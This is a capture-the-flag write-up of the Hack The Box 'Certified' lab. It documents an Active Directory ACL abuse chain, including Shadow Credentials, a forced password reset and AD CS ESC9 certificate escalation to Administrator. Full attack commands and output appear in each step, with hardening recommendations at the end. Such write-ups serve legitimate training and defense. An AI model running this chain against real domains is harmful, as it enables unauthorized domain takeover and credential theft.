Certified — Active Directory ACL Delegation and AD CS ESC9 Escalation
- Tools
- rustscan, nmap, rusthound-ce, impacket-owneredit, impacket-dacledit, bloodyAD, pywhisker, gettgtpkinit, getnthash, certipy-ad, evil-winrm
- Skill demonstrated
- Active Directory ACL abuse and AD CS certificate escalation
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Medium |
| Target environment | Windows Active Directory domain controller |
| Starting position | Provided low-privilege domain credentials |
| Objective | Escalate from provided low-privilege credentials through an ACL delegation chain to administrative domain-controller access |
| Outcome | Administrative domain-controller execution via an ESC9-issued Administrator certificate |
Summary
Section titled “Summary”Certified is a Medium Hack The Box Active Directory lab that starts from provided low-privilege domain credentials. Directory relationship data exposes a chain of delegated permissions across a management group, a service account, and a certificate-operator account, which is closed by abusing AD CS ESC9 to obtain an Administrator certificate. Target addresses, hostnames, account names, SIDs, and credential, hash, and certificate values are replaced with role-based placeholders; a small number of transitions are recorded by command only, without captured output.
Attack path: WriteOwner on Management → group membership → GenericWrite Shadow Credentials on the service account → GenericAll over the certificate-operator account → forced password reset → AD CS ESC9 UPN manipulation → Administrator certificate
Context and Objective
Section titled “Context and Objective”Certified runs Active Directory on a Windows domain controller. The lab begins from a single provided low-privilege account and requires no initial foothold; Kerberos, LDAP, SMB, and WinRM are exposed. LDAP-backed directory collection produced the relationship graph used to plan the escalation. The objective was to move from the provided account to administrative control of the domain controller by following the permitted relationships rather than exploiting a remote-code-execution flaw.
Activity was confined to the Hack The Box lab environment, and the provided credentials were the only starting point.
Approach and Evidence
Section titled “Approach and Evidence”1. Enumerate domain services and the ACL path
Section titled “1. Enumerate domain services and the ACL path”Observation: a service scan exposed a domain controller (Kerberos, LDAP, SMB, and WinRM), and directory collection with the provided account surfaced a chain of delegated access.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sVrusthound-ce -u '<LAB_USER>' -p '<LAB_PASSWORD>' \ --domain <DOMAIN> -c All -z -o certifiedTruncated scan output:
53/tcp open domain Simple DNS Plus88/tcp open kerberos-sec Microsoft Windows Kerberos389/tcp open ldap <DOMAIN>445/tcp open microsoft-ds636/tcp open ssl/ldap3268/tcp open ldap5985/tcp open http WinRMThe collected directory data revealed this ACL path:
<LAB_USER> -> WriteOwner on Management -> add self to Management -> Management has GenericWrite on <SERVICE_ACCOUNT> -> Shadow Credentials to <SERVICE_ACCOUNT> -> <SERVICE_ACCOUNT> has GenericAll over <CA_OPERATOR> -> reset <CA_OPERATOR> password -> <CA_OPERATOR> can enroll in an ESC9 template -> Administrator certificateSignificance: LDAP, SMB, and WinRM provide the directory paths needed for the later ACL and certificate operations, and the delegated permissions form a contiguous route from the starting account to a certificate authority.
Result: the exposed services and the delegated-permission chain are identified, defining the escalation plan.
2. Take ownership of Management
Section titled “2. Take ownership of Management”Observation: <LAB_USER> holds WriteOwner on the Management group, so the object’s owner can be rewritten.
impacket-owneredit -dc-ip <TARGET_IP> -action write \ -new-owner '<LAB_USER>' -target-sid '<MANAGEMENT_SID>' \ '<DOMAIN>/<LAB_USER>:<LAB_PASSWORD>'Output:
[*] OwnerSid modified successfully!Significance: controlling an object’s owner allows its DACL to be rewritten, so ownership is a stepping stone to effective rights.
Result: <LAB_USER> becomes owner of Management.
3. Rewrite the group DACL and join Management
Section titled “3. Rewrite the group DACL and join Management”Observation: as owner, the group DACL can be modified to grant membership-write, after which the account can add itself to the group.
impacket-dacledit -action write -rights WriteMembers \ -principal '<LAB_USER>' -target-dn '<MANAGEMENT_DN>' \ '<DOMAIN>/<LAB_USER>:<LAB_PASSWORD>'
bloodyAD --host <TARGET_IP> -d <DOMAIN> \ -u '<LAB_USER>' -p '<LAB_PASSWORD>' \ add groupMember 'Management' '<LAB_USER>'Significance: the group carries GenericWrite over <SERVICE_ACCOUNT>, so membership converts a low-privilege account into control over that service account.
Result: <LAB_USER> is added to Management, which the next stage depends on.
4. Shadow Credentials over the service account
Section titled “4. Shadow Credentials over the service account”Observation: Management has GenericWrite over <SERVICE_ACCOUNT>, enough to add a key credential and authenticate through PKINIT.
python3 pywhisker.py -d <DOMAIN> -u '<LAB_USER>' \ -p '<LAB_PASSWORD>' --target '<SERVICE_ACCOUNT>' --action addOutput:
[+] Saved PFX (#PKCS12) certificate & key at path: <PFX_FILE>[*] Must be used with password: <PFX_PASSWORD>Request a TGT with the key credential and recover the account NT hash:
python3 gettgtpkinit.py -cert-pfx <PFX_FILE> -pfx-pass '<PFX_PASSWORD>' \ <DOMAIN>/<SERVICE_ACCOUNT> <CCACHE_FILE>export KRB5CCNAME=<CCACHE_FILE>python3 getnthash.py -key '<AS_REP_KEY>' <DOMAIN>/<SERVICE_ACCOUNT>Output:
Recovered NT HashSignificance: Shadow Credentials convert write access into Kerberos authentication material without changing the account’s password, and getnthash exposes the account NT hash for pass-the-hash.
Result: a key credential and the NT hash for <SERVICE_ACCOUNT> are recovered and subsequently validated through WinRM (evil-winrm -i <DC_HOST> -u '<SERVICE_ACCOUNT>' -H '<SERVICE_ACCOUNT_HASH>') as <SERVICE_ACCOUNT>.
5. Reset the operator account and identify ESC9
Section titled “5. Reset the operator account and identify ESC9”Observation: <SERVICE_ACCOUNT> holds GenericAll over <CA_OPERATOR>, permitting a password reset; the operator can then enumerate the certificate authority.
bloodyAD --host <TARGET_IP> -d <DOMAIN> \ -u '<SERVICE_ACCOUNT>' -p ':<SERVICE_ACCOUNT_HASH>' \ set password '<CA_OPERATOR>' '<NEW_OPERATOR_PASSWORD>'Output:
[+] Password changed successfully!Enumerate vulnerable templates with the operator account:
certipy-ad find -vulnerable -u '<CA_OPERATOR>' \ -p '<NEW_OPERATOR_PASSWORD>' -dc-ip <TARGET_IP>Output:
Template Name : <VULNERABLE_TEMPLATE>Vulnerability : ESC9 - Template has no security extensionCA Name : <CA_NAME>Significance: GenericAll allows a reset that grants full control of the operator account, and that account can enroll in a template missing the security extension — the ESC9 condition.
Result: the operator password is reset and a template vulnerable to ESC9 is identified.
6. ESC9 enrollment and administrative authentication
Section titled “6. ESC9 enrollment and administrative authentication”Observation: with the operator’s credentials and its UPN pointed at the administrative identity, the vulnerable template can issue a certificate that authenticates as <ADMIN_ACCOUNT>.
Set the operator UPN:
certipy-ad account update -username '<SERVICE_ACCOUNT>@<DOMAIN>' \ -hashes '<SERVICE_ACCOUNT_HASH>' -user <CA_OPERATOR> \ -upn <ADMIN_ACCOUNT>Request a certificate from the ESC9 template:
certipy-ad req -username '<CA_OPERATOR>@<DOMAIN>' \ -p '<NEW_OPERATOR_PASSWORD>' -dc-ip <TARGET_IP> \ -ca '<CA_NAME>' -template '<VULNERABLE_TEMPLATE>'Output:
[*] Wrote certificate and private key to '<ADMIN_PFX>'Restore the original UPN:
certipy-ad account update -username '<SERVICE_ACCOUNT>@<DOMAIN>' \ -hashes '<SERVICE_ACCOUNT_HASH>' -user <CA_OPERATOR> \ -upn '<CA_OPERATOR>@<DOMAIN>'Authenticate with the issued certificate:
certipy-ad auth -pfx '<ADMIN_PFX>' -domain <DOMAIN> -dc-ip <TARGET_IP>Output:
Got hash for '<ADMIN_ACCOUNT>@<DOMAIN>'Access WinRM as the administrative identity:
evil-winrm -i <DC_HOST> -u '<ADMIN_ACCOUNT>' -H '<ADMIN_HASH>'Output:
<DOMAIN>\<ADMIN_ACCOUNT>Significance: ESC9 lets a certificate requested under the altered UPN be trusted as <ADMIN_ACCOUNT>, so the template produces administrative authentication material without any knowledge of the administrator password. Restoring the UPN limits the change left on the account.
Result: certificate authentication returns <ADMIN_ACCOUNT> material, and WinRM confirms execution as <DOMAIN>\<ADMIN_ACCOUNT>.
Challenges and Decisions
Section titled “Challenges and Decisions”- ESC9 enrollment requires the enrolling account to resolve to the target identity at request time. The operator account’s UPN was set to
<ADMIN_ACCOUNT>for the certificate request and restored to<CA_OPERATOR>@<DOMAIN>immediately afterward; the restore is part of the recorded chain, not a remediation.
Outcome
Section titled “Outcome”The evidence establishes administrative execution on the domain controller as <DOMAIN>\<ADMIN_ACCOUNT>, obtained from a certificate issued through the vulnerable template rather than from the administrator password.
Lessons and Recommendations
Section titled “Lessons and Recommendations”None of the recommendations below was validated in the lab.
- Excessive ownership and DACL delegation on privileged groups.
<LAB_USER>heldWriteOwneroverManagement, so ownership could be taken and the group DACL rewritten. Recommendation: reduceWriteOwner/WriteMembersdelegation on privileged groups and alert on owner and DACL changes. GenericWriteover a service account.ManagementhadGenericWriteover<SERVICE_ACCOUNT>, which a key credential turned into Kerberos authentication material and the account NT hash. Recommendation: restrictGenericWriteon service accounts and monitor key-credential (msDS-KeyCredentialLink) writes for unexpected entries.GenericAllover the certificate-operator account.<SERVICE_ACCOUNT>hadGenericAllover<CA_OPERATOR>, enabling an unauthorized password reset. Recommendation: apply least privilege to CA operator and service-account permissions and alert on privileged password resets.- ESC9-vulnerable template with a mutable UPN.
<VULNERABLE_TEMPLATE>lacked the certificate security extension, and the enrolling account’s UPN could be changed, so a certificate authenticated as<ADMIN_ACCOUNT>. Recommendation: configure templates with the security extension, enforce strong certificate binding, and audit UPN changes and certificate issuance for accounts that can enroll.
References
Section titled “References”- Hack The Box — Certified (retired machine)
- Certipy (AD CS enumeration and certificate abuse)
- KB5014754 — Certificate-based authentication changes on Windows domain controllers (strong certificate binding)
- [MS-CRTD]: msPKI-Enrollment-Flag Attribute (certificate-template security extension flag)
- RustScan (fast port scanner)
- Nmap Reference Guide